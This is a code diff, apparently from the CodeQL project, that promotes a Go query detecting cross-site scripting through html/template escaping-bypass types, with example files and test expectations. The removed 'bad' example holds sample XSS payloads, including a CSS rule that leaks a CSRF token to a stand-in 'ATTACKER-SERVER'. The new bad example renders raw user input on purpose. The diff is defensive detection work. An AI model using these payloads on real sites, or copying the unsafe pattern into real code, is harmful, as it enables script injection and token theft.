diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected
index 609e21e82ec0..20fcacbc3896 100644
--- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected
+++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected
@@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql
ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql
ql/go/ql/src/Security/CWE-022/ZipSlip.ql
ql/go/ql/src/Security/CWE-078/CommandInjection.ql
+ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
ql/go/ql/src/Security/CWE-079/ReflectedXss.ql
ql/go/ql/src/Security/CWE-089/SqlInjection.ql
ql/go/ql/src/Security/CWE-089/StringBreak.ql
diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected
index 46f21d921ef7..7ff321d24ab9 100644
--- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected
+++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected
@@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql
ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql
ql/go/ql/src/Security/CWE-022/ZipSlip.ql
ql/go/ql/src/Security/CWE-078/CommandInjection.ql
+ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
ql/go/ql/src/Security/CWE-079/ReflectedXss.ql
ql/go/ql/src/Security/CWE-089/SqlInjection.ql
ql/go/ql/src/Security/CWE-089/StringBreak.ql
diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected
index a206ef2364ab..3506e1020dde 100644
--- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected
+++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected
@@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql
ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql
ql/go/ql/src/Security/CWE-022/ZipSlip.ql
ql/go/ql/src/Security/CWE-078/CommandInjection.ql
+ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
ql/go/ql/src/Security/CWE-079/ReflectedXss.ql
ql/go/ql/src/Security/CWE-089/SqlInjection.ql
ql/go/ql/src/Security/CWE-089/StringBreak.ql
diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected
index 751c76041a29..ac2e3cb4c3a9 100644
--- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected
+++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected
@@ -20,7 +20,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql
ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql
ql/go/ql/src/experimental/CWE-74/DsnInjection.ql
ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql
-ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql
ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql
ql/go/ql/src/experimental/CWE-918/SSRF.ql
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp
similarity index 79%
rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp
index a842a685f238..2a0d27304c95 100644
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp
@@ -8,7 +8,7 @@
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
through.
- Using them on user-provided values will result in an opportunity for XSS.
+ Using them on user-provided values allows for a cross-site scripting vulnerability.
@@ -19,10 +19,10 @@
In the first example you can see the special types and how they are used in a template:
-
+
To avoid XSS, all user input should be a normal string type.
-
+
diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
new file mode 100644
index 000000000000..6dc0f702841c
--- /dev/null
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
@@ -0,0 +1,119 @@
+/**
+ * @name HTML template escaping bypass cross-site scripting
+ * @description Converting user input to a special type that avoids escaping
+ * when fed into an HTML template allows for a cross-site
+ * scripting vulnerability.
+ * @kind path-problem
+ * @problem.severity error
+ * @security-severity 6.1
+ * @precision high
+ * @id go/html-template-escaping-bypass-xss
+ * @tags security
+ * external/cwe/cwe-079
+ * external/cwe/cwe-116
+ */
+
+import go
+
+/**
+ * A type that will not be escaped when passed to a `html/template` template.
+ */
+class UnescapedType extends Type {
+ UnescapedType() {
+ this.hasQualifiedName("html/template",
+ ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"])
+ }
+}
+
+/**
+ * Holds if the sink is a data value argument of a template execution call.
+ *
+ * Note that this is slightly more general than
+ * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`,
+ * which finds calls through interfaces which the receiver implements. This
+ * finds more results in practice.
+ */
+predicate isSinkToTemplateExec(DataFlow::Node sink) {
+ exists(Method fn, string methodName, DataFlow::CallNode call |
+ fn.hasQualifiedName("html/template", "Template", methodName) and
+ call = fn.getACall()
+ |
+ methodName = "Execute" and sink = call.getArgument(1)
+ or
+ methodName = "ExecuteTemplate" and sink = call.getArgument(2)
+ )
+}
+
+/**
+ * Data flow configuration that tracks flows from untrusted sources to template execution calls
+ * which go through a conversion to an unescaped type.
+ */
+module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig {
+ private newtype TConversionState =
+ TUnconverted() or
+ TConverted(UnescapedType unescapedType)
+
+ /**
+ * The flow state for tracking whether a conversion to an unescaped type has
+ * occurred.
+ */
+ class FlowState extends TConversionState {
+ predicate isBeforeConversion() { this instanceof TUnconverted }
+
+ predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) }
+
+ /** Gets a textual representation of this element. */
+ string toString() {
+ this.isBeforeConversion() and result = "Unconverted"
+ or
+ exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) |
+ result = "Converted to " + unescapedType.getQualifiedName()
+ )
+ }
+ }
+
+ predicate isSource(DataFlow::Node source, FlowState state) {
+ state.isBeforeConversion() and source instanceof ActiveThreatModelSource
+ }
+
+ predicate isSink(DataFlow::Node sink, FlowState state) {
+ state.isAfterConversion(_) and isSinkToTemplateExec(sink)
+ }
+
+ predicate isBarrier(DataFlow::Node node) {
+ node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer
+ or
+ node.getType() instanceof NumericType
+ }
+
+ /**
+ * When a conversion to a passthrough type is encountered, transition the flow state.
+ */
+ predicate isAdditionalFlowStep(
+ DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState
+ ) {
+ exists(ConversionExpr conversion, UnescapedType unescapedType |
+ // If not yet converted, look for a conversion to a passthrough type
+ predState.isBeforeConversion() and
+ succState.isAfterConversion(unescapedType) and
+ succ.(DataFlow::TypeCastNode).getExpr() = conversion and
+ pred.asExpr() = conversion.getOperand() and
+ conversion.getType().getUnderlyingType*() = unescapedType
+ )
+ }
+}
+
+module UntrustedToTemplateExecWithConversionFlow =
+ TaintTracking::GlobalWithState;
+
+import UntrustedToTemplateExecWithConversionFlow::PathGraph
+
+from
+ UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource,
+ UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType
+where
+ UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and
+ templateExecCall.getState().isAfterConversion(unescapedType)
+select templateExecCall.getNode(), untrustedSource, templateExecCall,
+ "Data from an $@ will not be auto-escaped because it was converted to template." +
+ unescapedType.getName(), untrustedSource.getNode(), "untrusted source"
diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go
new file mode 100755
index 000000000000..d9bd46a6b9d7
--- /dev/null
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go
@@ -0,0 +1,13 @@
+package main
+
+import (
+ "html/template"
+ "net/http"
+)
+
+func bad(w http.ResponseWriter, r *http.Request) {
+ r.ParseForm()
+ username := r.Form.Get("username")
+ tmpl, _ := template.New("test").Parse(`Hi {{.}}`)
+ tmpl.Execute(w, template.HTML(username))
+}
diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go
new file mode 100755
index 000000000000..8460f00ba1de
--- /dev/null
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go
@@ -0,0 +1,13 @@
+package main
+
+import (
+ "html/template"
+ "net/http"
+)
+
+func good(w http.ResponseWriter, r *http.Request) {
+ r.ParseForm()
+ username := r.Form.Get("username")
+ tmpl, _ := template.New("test").Parse(`Hi {{.}}`)
+ tmpl.Execute(w, username)
+}
diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go
index 008b738f4cae..192774f0307d 100644
--- a/go/ql/src/Security/CWE-079/StoredXss.go
+++ b/go/ql/src/Security/CWE-079/StoredXss.go
@@ -2,12 +2,12 @@ package main
import (
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles(w http.ResponseWriter, r *http.Request) {
- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
io.WriteString(w, file.Name()+"\n")
diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go
index d73a205ff3fb..a7843e1cfe50 100644
--- a/go/ql/src/Security/CWE-079/StoredXssGood.go
+++ b/go/ql/src/Security/CWE-079/StoredXssGood.go
@@ -3,12 +3,12 @@ package main
import (
"html"
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles1(w http.ResponseWriter, r *http.Request) {
- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
io.WriteString(w, html.EscapeString(file.Name())+"\n")
diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md
new file mode 100644
index 000000000000..ab02478bf4a2
--- /dev/null
+++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md
@@ -0,0 +1,4 @@
+---
+category: newQuery
+---
+* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in .
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
deleted file mode 100644
index ff63f6bfbec7..000000000000
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ /dev/null
@@ -1,153 +0,0 @@
-/**
- * @name HTML template escaping passthrough
- * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML
- * template, it may result in XSS.
- * @kind path-problem
- * @problem.severity warning
- * @id go/html-template-escaping-passthrough
- * @tags security
- * experimental
- * external/cwe/cwe-079
- */
-
-import go
-
-/**
- * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType.
- * The `targetType` parameter gets populated with the name of the PassthroughType,
- * and `conversionSink` gets populated with the node where the conversion happens.
- */
-predicate flowsFromUntrustedToConversion(
- DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink
-) {
- exists(DataFlow::Node source |
- UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and
- source = untrusted and
- UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType)
- )
-}
-
-/**
- * A name of a type that will not be escaped when passed to
- * a `html/template` template.
- */
-class PassthroughTypeName extends string {
- PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] }
-}
-
-module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource }
-
- additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) {
- exists(Type typ |
- typ = sink.getResultType() and
- typ.getUnderlyingType*().hasQualifiedName("html/template", name)
- )
- }
-
- predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) }
-
- predicate isBarrier(DataFlow::Node node) {
- node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType
- }
-}
-
-/**
- * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is
- * converted into a special "passthrough" type which will not be escaped by the
- * template generator; this allows the injection of arbitrary content (html,
- * css, js) into the generated output of the templates.
- */
-module UntrustedToPassthroughTypeConversionFlow =
- TaintTracking::Global;
-
-/**
- * Holds if the provided `conversion` node flows into the provided `execSink`.
- */
-predicate flowsFromConversionToExec(
- DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink
-) {
- PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and
- PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion,
- targetType)
-}
-
-module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) }
-
- additional predicate isSourceConversionToPassthroughType(
- DataFlow::TypeCastNode source, PassthroughTypeName name
- ) {
- exists(Type typ |
- typ = source.getResultType() and
- typ.getUnderlyingType*().hasQualifiedName("html/template", name)
- )
- }
-
- predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
-}
-
-/**
- * Tracks taint flow for reasoning about when the result of a conversion to a
- * PassthroughType flows to a template execution call.
- */
-module PassthroughTypeConversionToTemplateExecutionCallFlow =
- TaintTracking::Global;
-
-/**
- * Holds if the sink is a data value argument of a template execution call.
- */
-predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
- exists(Method fn, string methodName |
- fn.hasQualifiedName("html/template", "Template", methodName) and
- call = fn.getACall()
- |
- methodName = "Execute" and sink = call.getArgument(1)
- or
- methodName = "ExecuteTemplate" and sink = call.getArgument(2)
- )
-}
-
-module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource }
-
- predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
-}
-
-/**
- * Tracks taint flow from a `ActiveThreatModelSource` into a template executor
- * call.
- */
-module FromUntrustedToTemplateExecutionCallFlow =
- TaintTracking::Global;
-
-import FromUntrustedToTemplateExecutionCallFlow::PathGraph
-
-/**
- * Holds if the provided `untrusted` node flows into the provided `execSink`.
- */
-predicate flowsFromUntrustedToExec(
- FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted,
- FromUntrustedToTemplateExecutionCallFlow::PathNode execSink
-) {
- FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink)
-}
-
-from
- FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource,
- FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall,
- PassthroughTypeName targetTypeName, DataFlow::Node conversion
-where
- // A = untrusted remote flow source
- // B = conversion to PassthroughType
- // C = template execution call
- // Flows:
- // A -> B
- flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and
- // B -> C
- flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and
- // A -> C
- flowsFromUntrustedToExec(untrustedSource, templateExecCall)
-select templateExecCall.getNode(), untrustedSource, templateExecCall,
- "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
- untrustedSource.getNode(), "untrusted source", conversion, "converted"
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
deleted file mode 100755
index a23dfa153ded..000000000000
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
+++ /dev/null
@@ -1,70 +0,0 @@
-package main
-
-import (
- "html/template"
- "os"
-)
-
-func main() {}
-func source(s string) string {
- return s
-}
-
-type HTMLAlias = template.HTML
-
-func checkError(err error) {
- if err != nil {
- panic(err)
- }
-}
-
-// bad is an example of a bad implementation
-func bad() {
- tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
- tmplTag, _ := template.New("test").Parse(`Hi \n`)
- tmplScript, _ := template.New("test").Parse(``)
- tmplSrcset, _ := template.New("test").Parse(`
`)
-
- {
- {
- var a = template.HTML(source(`link`))
- checkError(tmpl.Execute(os.Stdout, a))
- }
- {
- {
- var a template.HTML
- a = template.HTML(source(`link`))
- checkError(tmpl.Execute(os.Stdout, a))
- }
- {
- var a HTMLAlias
- a = HTMLAlias(source(`link`))
- checkError(tmpl.Execute(os.Stdout, a))
- }
- }
- }
- {
- var c = template.HTMLAttr(source(`href="https://example.com"`))
- checkError(tmplTag.Execute(os.Stdout, c))
- }
- {
- var d = template.JS(source("alert({hello: 'world'})"))
- checkError(tmplScript.Execute(os.Stdout, d))
- }
- {
- var e = template.JSStr(source("setTimeout('alert()')"))
- checkError(tmplScript.Execute(os.Stdout, e))
- }
- {
- var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
- checkError(tmpl.Execute(os.Stdout, b))
- }
- {
- var f = template.Srcset(source(`evil.jpg 320w`))
- checkError(tmplSrcset.Execute(os.Stdout, f))
- }
- {
- var g = template.URL(source("javascript:alert(1)"))
- checkError(tmpl.Execute(os.Stdout, g))
- }
-}
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
deleted file mode 100755
index 3c0a8ad4eb4a..000000000000
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
+++ /dev/null
@@ -1,15 +0,0 @@
-package main
-
-import (
- "html/template"
- "os"
-)
-
-// good is an example of a good implementation
-func good() {
- tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
- { // This will be escaped:
- var escaped = source(`link`)
- checkError(tmpl.Execute(os.Stdout, escaped))
- }
-}
diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
deleted file mode 100644
index c91fe813e9fe..000000000000
--- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ /dev/null
@@ -1,76 +0,0 @@
-#select
-| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted |
-edges
-| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | |
-| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | |
-| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | |
-| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 |
-models
-| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual |
-| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual |
-nodes
-| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion |
